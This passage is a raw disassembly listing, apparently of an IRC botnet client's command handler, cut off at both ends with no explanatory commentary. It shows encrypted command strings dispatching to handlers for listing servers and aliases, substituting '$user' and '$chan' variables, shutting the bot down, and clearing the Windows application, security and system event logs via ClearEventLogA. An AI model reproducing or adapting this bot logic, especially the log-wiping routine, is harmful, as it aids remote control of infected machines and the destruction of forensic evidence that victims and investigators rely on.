"vB1r0/N.Arr0" call edi ; dword_437178 test eax, eax jz loc_40ADF7 push dword ptr [ebx] push offset a8im6i__c829_ ; "8Im6i..C829." call edi ; dword_437178 test eax, eax jz loc_40ADF7 push dword ptr [ebx] push offset aTiyj208fhvn_ ; "tIYj208FHvN." call edi ; dword_437178 test eax, eax jz loc_40ADF7 push dword ptr [ebx] push offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1" call edi ; dword_437178 test eax, eax jz loc_40ADF7 push dword ptr [ebx] push offset aMdf9n0kzpx60 ; "mdf9n0kzPX60" call edi ; dword_437178 test eax, eax jz loc_40ADF7 push dword ptr [ebx] push offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1" call edi ; dword_437178 test eax, eax jz loc_40ADF7 push dword ptr [ebx] push offset aFu6k10irsc1 ; "fu6k10iRsc/1" call edi ; dword_437178 test eax, eax jz loc_40ADF7 push dword ptr [ebx] push offset a_luua_bruje0 ; ".lUua.bruje0" call edi ; dword_437178 test eax, eax jnz short loc_40AC0D push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push 9 jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40AC0D: ; CODE XREF: sub_40A9FE+201j push dword ptr [ebx] push offset aUycsBekwp0 ; "/uYcs/BEKWP0" call edi ; dword_437178 test eax, eax jnz short loc_40AC26 push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0" push 0Ah jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40AC26: ; CODE XREF: sub_40A9FE+21Aj push dword ptr [ebx] push offset aFhzdv1ootfg0 ; "fhzdV1OotFg0" call edi ; dword_437178 test eax, eax jnz short loc_40AC3F push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0" push 0Bh jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40AC3F: ; CODE XREF: sub_40A9FE+233j push dword ptr [ebx] push offset aUfbss0cbo8c__0 ; "uFbSS0Cbo8C." call edi ; dword_437178 test eax, eax jnz short loc_40AC53 push offset aHuudgYqzdz ; "HuuDG/YQZDz/" jmp short loc_40AC65 ; --------------------------------------------------------------------------- loc_40AC53: ; CODE XREF: sub_40A9FE+24Cj push dword ptr [ebx] push offset aNoazx1alvg0 ; "NoaZx1Alvg/0" call edi ; dword_437178 test eax, eax jnz short loc_40AC6C push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1" loc_40AC65: ; CODE XREF: sub_40A9FE+253j push 11h jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40AC6C: ; CODE XREF: sub_40A9FE+260j push dword ptr [ebx] push offset aSud8hRsu8j1 ; "sUd8h/rsu8j1" call edi ; dword_437178 test eax, eax jz loc_40ADEB push dword ptr [ebx] push offset aJ2yyw_j09xc ; "j2yYw.J09XC/" call edi ; dword_437178 test eax, eax jz loc_40ADEB push dword ptr [ebx] push offset aRiocl1kztwo0 ; "rioCl1kzTWO0" call edi ; dword_437178 test eax, eax jnz short loc_40ACA7 push offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0" push 15h jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40ACA7: ; CODE XREF: sub_40A9FE+29Bj push dword ptr [ebx] push offset a7fugu_n0u2m1 ; "7FUgU.N0U2m1" call edi ; dword_437178 test eax, eax jnz short loc_40ACBE push offset aBjatzQyrs11 ; "BjAtz/qyRS11" jmp loc_40ADE4 ; --------------------------------------------------------------------------- loc_40ACBE: ; CODE XREF: sub_40A9FE+2B4j push dword ptr [ebx] push offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1" call edi ; dword_437178 test eax, eax jz loc_40ADDF push dword ptr [ebx] push offset a6x7zf1eztny_ ; "6x7zf1EztnY." call edi ; dword_437178 test eax, eax jz loc_40ADDF push dword ptr [ebx] push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH." call edi ; dword_437178 test eax, eax jz loc_40ADDF push dword ptr [ebx] push offset a7otcu0fic6v0 ; "7otcU0FiC6V0" call edi ; dword_437178 test eax, eax jz loc_40ADDF push dword ptr [ebx] push offset aXmz20Gjkq ; "xMz20//gJkQ/" call edi ; dword_437178 test eax, eax jnz short loc_40AD19 push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0" jmp loc_40ADE4 ; --------------------------------------------------------------------------- loc_40AD19: ; CODE XREF: sub_40A9FE+30Fj push dword ptr [ebx] push offset aX_62c_3ldcp ; "X.62C.3LDCP/" call edi ; dword_437178 test eax, eax jnz short loc_40AD30 push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1" jmp loc_40ADE4 ; --------------------------------------------------------------------------- loc_40AD30: ; CODE XREF: sub_40A9FE+326j push dword ptr [ebx] push offset aImvbw1shwxq0 ; "iMvbW1SHwxQ0" call edi ; dword_437178 test eax, eax jnz short loc_40AD47 push offset aAxauo_rlggx0 ; "aXauo.rLGgX0" jmp loc_40ADE4 ; --------------------------------------------------------------------------- loc_40AD47: ; CODE XREF: sub_40A9FE+33Dj push dword ptr [ebx] push offset aUyfog_dvvny0 ; "UyfOG.DvVnY0" call edi ; dword_437178 test eax, eax jz loc_40ADD8 push dword ptr [ebx] push offset aPsern1aagh6_ ; "pSern1AAGh6." call edi ; dword_437178 test eax, eax jz short loc_40ADD8 push dword ptr [ebx] push offset aXkg84_cesgs_ ; "XkG84.cESgs." call edi ; dword_437178 test eax, eax jz short loc_40ADD8 push dword ptr [ebx] push offset aP06vqBfbmo_ ; "p06vq/BFBMo." call edi ; dword_437178 test eax, eax jz short loc_40ADD8 push dword ptr [ebx] push offset aW1w2v121jsp_ ; "w1w2V121JSP." call edi ; dword_437178 test eax, eax jnz short loc_40AD93 push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." jmp short loc_40ADE4 ; --------------------------------------------------------------------------- loc_40AD93: ; CODE XREF: sub_40A9FE+38Cj push dword ptr [ebx] push offset aEm42x_1iszi1 ; "Em42x.1IsZI1" call edi ; dword_437178 test eax, eax jz short loc_40ADAD push dword ptr [ebx] push offset aKmdie1uwntq ; "KmdIe1UwntQ/" call edi ; dword_437178 test eax, eax jnz short loc_40ADB9 loc_40ADAD: ; CODE XREF: sub_40A9FE+3A0j push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" push 0Eh jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40ADB9: ; CODE XREF: sub_40A9FE+3ADj push dword ptr [ebx] push offset aV6jbh0k4uD_ ; "V6jBH0k4u/d." call edi ; dword_437178 test eax, eax jnz short loc_40AE0F push esi push offset aIexplore_exe ; "iexplore.exe" call sub_41FE3F pop ecx pop ecx jmp loc_414995 ; --------------------------------------------------------------------------- loc_40ADD8: ; CODE XREF: sub_40A9FE+354j ; sub_40A9FE+365j ... push offset aYhzck13caog0 ; "YhzCK13CaOG0" jmp short loc_40ADE4 ; --------------------------------------------------------------------------- loc_40ADDF: ; CODE XREF: sub_40A9FE+2CBj ; sub_40A9FE+2DCj ... push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" loc_40ADE4: ; CODE XREF: sub_40A9FE+2BBj ; sub_40A9FE+316j ... push 0Dh jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40ADEB: ; CODE XREF: sub_40A9FE+279j ; sub_40A9FE+28Aj push offset aWhdag1glagf_ ; "WHdAg1glAgf." push 0Fh jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40ADF7: ; CODE XREF: sub_40A9FE+168j ; sub_40A9FE+179j ... push offset aMflx2_qu4vy_ ; "mflX2.QU4VY." push 8 jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40AE03: ; CODE XREF: sub_40A9FE+11Dj ; sub_40A9FE+12Ej push offset aFfec81uznt81 ; "fFEC81UzNT81" push 3 jmp loc_40AA6E ; --------------------------------------------------------------------------- loc_40AE0F: ; CODE XREF: sub_40A9FE+56j ; sub_40A9FE+3C6j push offset aDehziSaO0 ; "deHZI/SA//o0" push dword ptr [ebx] call edi ; dword_437178 test eax, eax jnz short loc_40AE69 cmp [ebp+arg_20], eax mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" mov esi, offset a5v1zc1efrzg_tc ; "5v1zc1EfRZg.tccap0cH5OH0NHckR.k9Wj.1" mov ebx, offset aSS_1 ; "%s %s" jz short loc_40AE52 cmp [ebp+arg_18], eax jnz short loc_40AE5C cmp [ebp+arg_14], eax jnz loc_414995 mov eax, [ebp+arg_C] push esi push edi push ebx push dword ptr [eax+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40AE52: ; CODE XREF: sub_40A9FE+430j cmp [ebp+arg_18], 0 jz loc_414995 loc_40AE5C: ; CODE XREF: sub_40A9FE+435j push esi push edi push ebx loc_40AE5F: ; CODE XREF: sub_40A9FE+73Fj mov eax, [ebp+arg_C] push dword ptr [eax] jmp loc_414793 ; --------------------------------------------------------------------------- loc_40AE69: ; CODE XREF: sub_40A9FE+41Cj push dword ptr [ebx] push offset aDj9owUmrbd_ ; "dJ9OW/uMRBD." call edi ; dword_437178 test eax, eax jnz loc_40AF5E mov ebx, [ebx+4] cmp ebx, esi jnz short loc_40AECD mov ecx, dword_457D0C mov edx, offset aSsl ; " (SSL)" mov eax, ecx imul eax, 0B8h cmp dword_443FF4[eax], esi jnz short loc_40AEA1 mov edx, offset byte_454A54 loc_40AEA1: ; CODE XREF: sub_40A9FE+49Cj push edx push dword_443FF0[eax] lea eax, dword_443F40[eax] push eax mov eax, [ebp+arg_C] push ecx push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset aSServerISDS ; "%s: Server: [%i: %s:%d%s]" push dword ptr [eax+0Ch] push [ebp+arg_10] call sub_41CE4A jmp loc_412CB7 ; --------------------------------------------------------------------------- loc_40AECD: ; CODE XREF: sub_40A9FE+481j push ebx push offset aPlsymAee6v1 ; "PlsYM/aEe6v1" call edi ; dword_437178 test eax, eax jnz loc_414995 mov esi, [ebp+arg_C] push offset aListComplete ; "-=[List Complete]=-" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A xor ebx, ebx add esp, 0Ch cmp dword_445D20, ebx jle short loc_40AF44 mov edi, offset dword_443FF0 loc_40AF02: ; CODE XREF: sub_40A9FE+544j cmp dword ptr [edi+4], 0 mov eax, offset aSsl ; " (SSL)" jnz short loc_40AF12 mov eax, offset byte_454A54 loc_40AF12: ; CODE XREF: sub_40A9FE+50Dj push offset dword_443F14 push eax push dword ptr [edi] lea eax, [edi-0B0h] push eax push ebx push offset aISDSS ; "%i: %s:%d%s, %s" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 20h inc ebx add edi, 0B8h cmp ebx, dword_445D20 jl short loc_40AF02 loc_40AF44: ; CODE XREF: sub_40A9FE+4FDj push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push offset aSServerListCom ; "%s Server List complete." push dword ptr [esi+0Ch] loc_40AF51: ; CODE XREF: sub_40A9FE+46EEj push [ebp+arg_10] call sub_41CE4A jmp loc_41474E ; --------------------------------------------------------------------------- loc_40AF5E: ; CODE XREF: sub_40A9FE+476j push dword ptr [ebx] push offset aL3nyw_d7tfl_ ; "l3nYW.D7Tfl." call edi ; dword_437178 test eax, eax jnz loc_40B02C cmp [ebp+arg_14], eax mov esi, [ebp+arg_C] mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" mov ebx, offset aSAliasList ; "%s [Alias list]" jnz short loc_40AF96 cmp [ebp+arg_18], eax jnz short loc_40AF9C push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_40AF96: ; CODE XREF: sub_40A9FE+581j cmp [ebp+arg_18], 0 jz short loc_40AFAB loc_40AF9C: ; CODE XREF: sub_40A9FE+586j push edi push ebx push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 10h loc_40AFAB: ; CODE XREF: sub_40A9FE+59Cj xor ebx, ebx cmp dword_437330, ebx jle loc_414995 mov edi, offset dword_4570C0 loc_40AFBE: ; CODE XREF: sub_40A9FE+627j cmp byte ptr [edi], 0 jz short loc_40B018 lea eax, [edi+18h] push eax push edi push ebx lea eax, [ebp+var_26EE0] push offset aD_SS ; "%d. %s = %s" push eax call sub_429B03 add esp, 14h cmp [ebp+arg_14], 0 jnz short loc_40AFFE cmp [ebp+arg_18], 0 jnz short loc_40B004 lea eax, [ebp+var_26EE0] push eax push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 0Ch loc_40AFFE: ; CODE XREF: sub_40A9FE+5E3j cmp [ebp+arg_18], 0 jz short loc_40B018 loc_40B004: ; CODE XREF: sub_40A9FE+5E9j lea eax, [ebp+var_26EE0] push eax push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 0Ch loc_40B018: ; CODE XREF: sub_40A9FE+5C3j ; sub_40A9FE+604j inc ebx add edi, 0B8h cmp ebx, dword_437330 jl short loc_40AFBE jmp loc_414995 ; --------------------------------------------------------------------------- loc_40B02C: ; CODE XREF: sub_40A9FE+56Bj push dword ptr [ebx] push offset aP00ls0k4t_n1 ; "P00Ls0K4t.N1" call edi ; dword_437178 test eax, eax jnz loc_40B142 cmp [ebx+4], esi jz loc_40B101 mov eax, [ebx+8] cmp eax, esi jz loc_40B101 push eax lea eax, [ebp+var_2D24] push offset aS_5 ; "%s" push eax call sub_429B03 add esp, 0Ch push 3 pop edi cmp [ebp+arg_4], edi jle short loc_40B0A8 loc_40B06E: ; CODE XREF: sub_40A9FE+6A8j mov eax, [ebx+edi*4] cmp eax, esi jz short loc_40B0A2 push eax lea eax, [ebp+var_62D0] push offset aS_1 ; " %s" push eax call sub_429B03 lea eax, [ebp+var_62D0] push 104h push eax lea eax, [ebp+var_2D24] push eax call sub_4299E0 add esp, 18h loc_40B0A2: ; CODE XREF: sub_40A9FE+675j inc edi cmp edi, [ebp+arg_4] jl short loc_40B06E loc_40B0A8: ; CODE XREF: sub_40A9FE+66Ej lea eax, [ebp+var_2D24] push eax push dword ptr [ebx+4] call sub_418D90 cmp [ebp+arg_14], 0 mov esi, [ebp+arg_C] pop ecx mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" pop ecx mov ebx, offset aSAddedAliasS ; "%s Added Alias: %s" jnz short loc_40B0E9 cmp [ebp+arg_18], 0 jnz short loc_40B0F3 lea eax, [ebp+var_2D24] push eax push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40B0E9: ; CODE XREF: sub_40A9FE+6CCj cmp [ebp+arg_18], 0 jz loc_414995 loc_40B0F3: ; CODE XREF: sub_40A9FE+6D2j lea eax, [ebp+var_2D24] loc_40B0F9: ; CODE XREF: sub_40A9FE+2445j ; sub_40A9FE+4B84j ... push eax loc_40B0FA: ; CODE XREF: sub_40A9FE+D3Bj ; sub_40A9FE+83BAj push edi loc_40B0FB: ; CODE XREF: sub_40A9FE+171Ej ; sub_40A9FE+4929j ... push ebx jmp loc_414791 ; --------------------------------------------------------------------------- loc_40B101: ; CODE XREF: sub_40A9FE+642j ; sub_40A9FE+64Dj cmp [ebp+arg_14], 0 mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" mov esi, offset aSS_1 ; "%s %s" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz short loc_40B130 cmp [ebp+arg_18], 0 jnz short loc_40B13A mov eax, [ebp+arg_C] push ebx push edi push esi push dword ptr [eax+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40B130: ; CODE XREF: sub_40A9FE+716j cmp [ebp+arg_18], 0 jz loc_414995 loc_40B13A: ; CODE XREF: sub_40A9FE+71Cj push ebx push edi push esi jmp loc_40AE5F ; --------------------------------------------------------------------------- loc_40B142: ; CODE XREF: sub_40A9FE+639j and [ebp+var_4], 0 cmp dword_437330, 0 mov esi, [ebp+arg_C] jle loc_40B288 mov [ebp+arg_68], offset dword_4570D8 loc_40B15D: ; CODE XREF: sub_40A9FE+884j mov eax, [ebp+arg_68] push dword ptr [ebx] add eax, 0FFFFFFE8h push eax call edi ; dword_437178 test eax, eax jnz loc_40B26F movsx eax, byte_4439A0 push [ebp+arg_68] push eax lea eax, [ebp+var_9A20] push offset dword_4416C4 push eax call sub_429B03 mov ecx, [ebp+arg_10] add esp, 10h call sub_41DB58 push eax lea eax, [ebp+var_9A20] push offset off_4416C0 push eax call sub_4279FA mov ecx, [ebp+arg_10] add esp, 0Ch call sub_41DB5C push eax lea eax, [ebp+var_9A20] push offset aUser_0 ; "$user" push eax call sub_4279FA push offset dword_443F14 lea eax, [ebp+var_9A20] push offset aChan ; "$chan" push eax call sub_4279FA push dword ptr [ebx+4] lea eax, [ebp+var_9A20] push offset a1_0 ; "$1" push eax call sub_4279FA push dword ptr [ebx+8] lea eax, [ebp+var_9A20] push offset a2 ; "$2" push eax call sub_4279FA push dword ptr [ebx+0Ch] lea eax, [ebp+var_9A20] push offset a3 ; "$3" push eax call sub_4279FA push dword ptr [ebx+10h] lea eax, [ebp+var_9A20] push offset a4 ; "$4" push eax call sub_4279FA add esp, 48h lea eax, [ebp+var_9A20] push dword ptr [ebx+14h] push offset a5 ; "$5" push eax call sub_4279FA push dword ptr [ebx+18h] lea eax, [ebp+var_9A20] push offset a6 ; "$6" push eax call sub_4279FA push 0 lea eax, [ebp+var_9A20] push [ebp+arg_14] push [ebp+arg_10] push esi push eax call sub_40A935 add esp, 2Ch loc_40B26F: ; CODE XREF: sub_40A9FE+76Cj inc [ebp+var_4] add [ebp+arg_68], 0B8h mov eax, [ebp+var_4] cmp eax, dword_437330 jl loc_40B15D loc_40B288: ; CODE XREF: sub_40A9FE+752j push dword ptr [ebx] push offset aEuior0ay2w7__0 ; "EUIOR0ay2w7." call edi ; dword_437178 test eax, eax jnz loc_40B403 mov ebx, [ebx+4] test ebx, ebx jz loc_40B3A3 push ebx call sub_42A100 test eax, eax pop ecx mov [ebp+arg_C], eax jl loc_40B35D cmp eax, 3 jge loc_40B35D mov ecx, [ebp+arg_10] push eax call sub_41C704 test eax, eax mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" jz short loc_40B31D cmp [ebp+arg_14], 0 mov edi, offset aEuior0ay2w7_ ; "EUIOR0ay2w7." jnz short loc_40B2FF cmp [ebp+arg_18], 0 jnz short loc_40B309 push edi push [ebp+arg_C] push offset a5_xnq0cowxs0 ; "5.Xnq0cowXs0" push ebx push offset aSSIS ; "%s %s (%i) %s" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_40B2FF: ; CODE XREF: sub_40A9FE+8DCj cmp [ebp+arg_18], 0 jz loc_414995 loc_40B309: ; CODE XREF: sub_40A9FE+8E2j push edi push [ebp+arg_C] push offset a5_xnq0cowxs0 ; "5.Xnq0cowXs0" push ebx push offset aSSIS ; "%s %s (%i) %s" jmp loc_414988 ; --------------------------------------------------------------------------- loc_40B31D: ; CODE XREF: sub_40A9FE+8D1j cmp [ebp+arg_14], 0 mov edi, offset aSSI ; "%s %s (%i)" jnz short loc_40B346 cmp [ebp+arg_18], 0 jnz short loc_40B350 push [ebp+arg_C] push offset a8y4sz09fdh50tc ; "8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNR"... push ebx push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40B346: ; CODE XREF: sub_40A9FE+928j cmp [ebp+arg_18], 0 jz loc_414995 loc_40B350: ; CODE XREF: sub_40A9FE+92Ej push [ebp+arg_C] push offset a8y4sz09fdh50tc ; "8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNR"... jmp loc_41491B ; --------------------------------------------------------------------------- loc_40B35D: ; CODE XREF: sub_40A9FE+8B2j ; sub_40A9FE+8BBj cmp [ebp+arg_14], 0 mov edi, offset aSSI ; "%s %s (%i)" mov ebx, offset aRnyaa0crtpo0yy ; "RNYAA0crTPO0yYB2h.Fe8bw.iRLzu0EdQ3j/1D6"... jnz short loc_40B38B cmp [ebp+arg_18], 0 jnz short loc_40B395 push [ebp+arg_C] push ebx push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40B38B: ; CODE XREF: sub_40A9FE+96Dj cmp [ebp+arg_18], 0 jz loc_414995 loc_40B395: ; CODE XREF: sub_40A9FE+973j push [ebp+arg_C] loc_40B398: ; CODE XREF: sub_40A9FE+1BC9j push ebx push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" jmp loc_41491C ; --------------------------------------------------------------------------- loc_40B3A3: ; CODE XREF: sub_40A9FE+8A0j push dword ptr [esi+8] mov ecx, [ebp+arg_10] push dword ptr [esi+4] push dword ptr [esi] call sub_41C65E cmp eax, 0FFFFFFFFh jz loc_414995 cmp [ebp+arg_14], 0 mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" mov edi, offset aEuior0ay2w7_ ; "EUIOR0ay2w7." jnz short loc_40B3E9 cmp [ebp+arg_18], 0 jnz short loc_40B3F3 push edi push dword ptr [esi] push ebx push offset aSS_1 ; "%s %s" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40B3E9: ; CODE XREF: sub_40A9FE+9CCj cmp [ebp+arg_18], 0 jz loc_414995 loc_40B3F3: ; CODE XREF: sub_40A9FE+9D2j mov esi, [esi] push edi push esi push ebx push offset aSS_1 ; "%s %s" push esi jmp loc_41491F ; --------------------------------------------------------------------------- loc_40B403: ; CODE XREF: sub_40A9FE+895j push dword ptr [ebx] push offset aPdazx1odsoh0 ; "PDazX1oDSOh0" call edi ; dword_437178 test eax, eax jnz short loc_40B420 push dword ptr [esi+0Ch] mov ecx, [ebp+arg_10] call sub_41C7C5 jmp loc_414995 ; --------------------------------------------------------------------------- loc_40B420: ; CODE XREF: sub_40A9FE+A10j push offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1" push dword ptr [ebx] call edi ; dword_437178 test eax, eax jnz loc_40B55A mov ebx, [ebx+4] xor edi, edi cmp ebx, edi jz loc_414995 push ebx call sub_4155AA push eax push offset dword_443E8C call sub_42B260 add esp, 0Ch test eax, eax jnz loc_414995 mov ebx, [ebp+arg_20] push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" push 3 push edi push ebx push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push dword ptr [esi+0Ch] call sub_423654 mov eax, [ebp+arg_14] add esp, 20h mov [ebp+var_E64], eax mov [ebp+var_E68], ebx push dword ptr [esi+0Ch] lea eax, [ebp+var_F14] push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push offset aUnsecured ; "Unsecured" push offset aJvatg1988z81 ; "jVATg1988z81" push offset aSS_ ; "%s %s." push 3 mov [ebp+var_F18], eax mov [ebp+var_E84], edi mov [ebp+var_E80], edi call sub_4234A7 add esp, 10h mov [ebp+var_E94], eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_F18] push edi push eax push offset sub_422009 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_E94] mov ebx, dword_437190 imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz short loc_40B510 jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B504: ; CODE XREF: sub_40A9FE+B10j push 32h call ebx ; dword_437190 loc_40B508: ; CODE XREF: sub_40A9FE+B04j cmp [ebp+var_E5C], edi jz short loc_40B504 loc_40B510: ; CODE XREF: sub_40A9FE+B02j push 3E8h call ebx ; dword_437190 push edi push edi call sub_427DAA pop ecx mov eax, offset dword_43D664 pop ecx push eax push eax push dword ptr [esi] push offset a6f3al1m_ydx05y ; "6f3aL1m.YdX05ythl/YiVnR/jSlje0VWu/50peq"... push offset aSSS@S ; "%s [%s!%s@%s]" push [ebp+arg_10] call sub_41CAB4 add esp, 18h push 3E8h call ebx ; dword_437190 mov ecx, [ebp+arg_10] call sub_41CA82 call dword_456E58 ; WSACleanup push edi call dword_4370D4 ; ExitProcess loc_40B55A: ; CODE XREF: sub_40A9FE+A2Dj push dword ptr [ebx] push offset aVsz2xXqjp5 ; "Vsz2x/xqJP5/" call edi ; dword_437178 test eax, eax jnz loc_40B66C xor ebx, ebx cmp dword_457034, ebx jnz loc_40B636 mov edi, 94h lea eax, [ebp+var_2978] push edi push ebx push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_2978] mov [ebp+var_2978], edi push eax call dword_437050 ; GetVersionExA cmp [ebp+var_2968], 2 mov dword ptr [ebp+var_14+4], offset aApplication ; "application" mov dword ptr [ebp+var_C], offset aSecurity ; "security" mov dword ptr [ebp+var_C+4], offset aSystem ; "system" mov [ebp+arg_C], ebx jnz short loc_40B5F4 xor edi, edi loc_40B5C5: ; CODE XREF: sub_40A9FE+BF4j push dword ptr [ebp+edi*4+var_14+4] push 0 call dword_456E90 ; OpenEventLogA mov ebx, eax test ebx, ebx jz short loc_40B5EE push 0 push ebx call dword_456EA0 ; ClearEventLogA test eax, eax jz short loc_40B5E7 inc [ebp+arg_C] loc_40B5E7: ; CODE XREF: sub_40A9FE+BE4j push ebx call dword_456E4C ; CloseEventLog loc_40B5EE: ; CODE XREF: sub_40A9FE+BD7j inc edi cmp edi, 3 jl short loc_40B5C5 loc_40B5F4: ; CODE XREF: sub_40A9FE+BC3j xor eax, eax cmp [ebp+arg_14], eax jnz loc_414995 cmp [ebp+arg_18], eax jnz loc_414995 cmp [ebp+arg_C], eax mov edi, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" jle short loc_40B62B push 3 push [ebp+arg_C] push edi push offset aSClearedDDSysl ; "%s Cleared [%d/%d] syslogs" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40B62B: ; CODE XREF: sub_40A9FE+C12j push edi push offset aSFailedToClear ; "%s Failed to clear syslogs" jmp loc_40F0E9 ; --------------------------------------------------------------------------- loc_40B636: ; CODE XREF: sub_40A9FE+B75j mov edi, offset aSAdvapi_dllNot ; "%s Advapi.dll not loaded" loc_40B63B: ; CODE XREF: sub_40A9FE+287Cj mov ebx, offset aTy2nt0oi2yk ; "ty2nT0oI2YK/" loc_40B640: ; CODE XREF: sub_40A9FE+2832j ; sub_40A9FE+283Dj ... cmp [ebp+arg_14], 0 jnz short loc_40B65C cmp [ebp+arg_18], 0 jnz short loc_40B666 push ebx push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_40B65C: ; CODE XREF: sub_40A9FE+C46j cmp [ebp+arg_18], 0 loc_40B660: ; CODE XREF: sub_40A9FE+60AEj jz loc_414995 loc_40B666: ; CODE XREF: sub_40A9FE+C4Cj ; sub_40A9FE+6093j push ebx jmp loc_414743 ; --------------------------------------------------------------------------- loc_40B66C: ; CODE XREF: sub_40A9FE+B67j push dword ptr [ebx] push offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue." call edi ; dword_437178 test eax, eax jnz loc_40B92B mov eax, [ebx+4] test eax, eax jz loc_40B7D7 push eax push offset aE0idd0rdw2u ; "e0idD0RDw2U/" call edi ; dword_437178 test eax, eax jnz loc_40B7D7 mov eax, [ebx+8] test eax, eax jz loc_414995 push eax push offset a86tb1fspjg0 ; "86tb/1FSpjg0" call edi ; dword_437178 test eax, eax jnz loc_40B73E call sub_4235A4 test eax, eax mov [ebp+arg_C], eax mov edi, offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" jle short loc_40B704 cmp [ebp+arg_14], 0 mov ebx, offset aSDS ; "%s %d %s" jnz short loc_40B6EB cmp [ebp+arg_18], 0 jnz short loc_40B6F5 push offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/" push eax push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_40B6EB: ; CODE XREF: sub_40A9FE+CCFj cmp [ebp+arg_18], 0 jz loc_414995 loc_40B6F5: ; CODE XREF: sub_40A9FE+CD5j push offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/" push [ebp+arg_C] loc_40B6FD: ; CODE XREF: sub_40A9FE+4FBCj push edi loc_40B6FE: ; CODE XREF: sub_40A9FE+8457j push ebx jmp loc_41491D ; --------------------------------------------------------------------------- loc_40B704: ; CODE XREF: sub_40A9FE+CC4j cmp [ebp+arg_14], 0 mov ebx, offset aSS_1 ; "%s %s" jnz short loc_40B72A cmp [ebp+arg_18], 0 jnz short loc_40B734 push offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/" push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_40B72A: ; CODE XREF: sub_40A9FE+D0Fj cmp [ebp+arg_18], 0 jz loc_414995 loc_40B734: ; CODE XREF: sub_40A9FE+D15j push offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/" jmp loc_40B0FA ; --------------------------------------------------------------------------- loc_40B73E: ; CODE XREF: sub_40A9FE+CAFj push dword ptr [ebx+8] call sub_42A100 push eax call sub_42352C pop ecx mov edi, offset aSSS_0 ; "%s %s (%s)" test eax, eax pop ecx jz short loc_40B793 cmp [ebp+arg_14], 0 jnz short loc_40B77F cmp [ebp+arg_18], 0 jnz short loc_40B789 push dword ptr [ebx+8] push offset aTpzyk0moe8_0jt ; "TpzyK0MOE8.0jTPEZ1dC0uG0" push offset 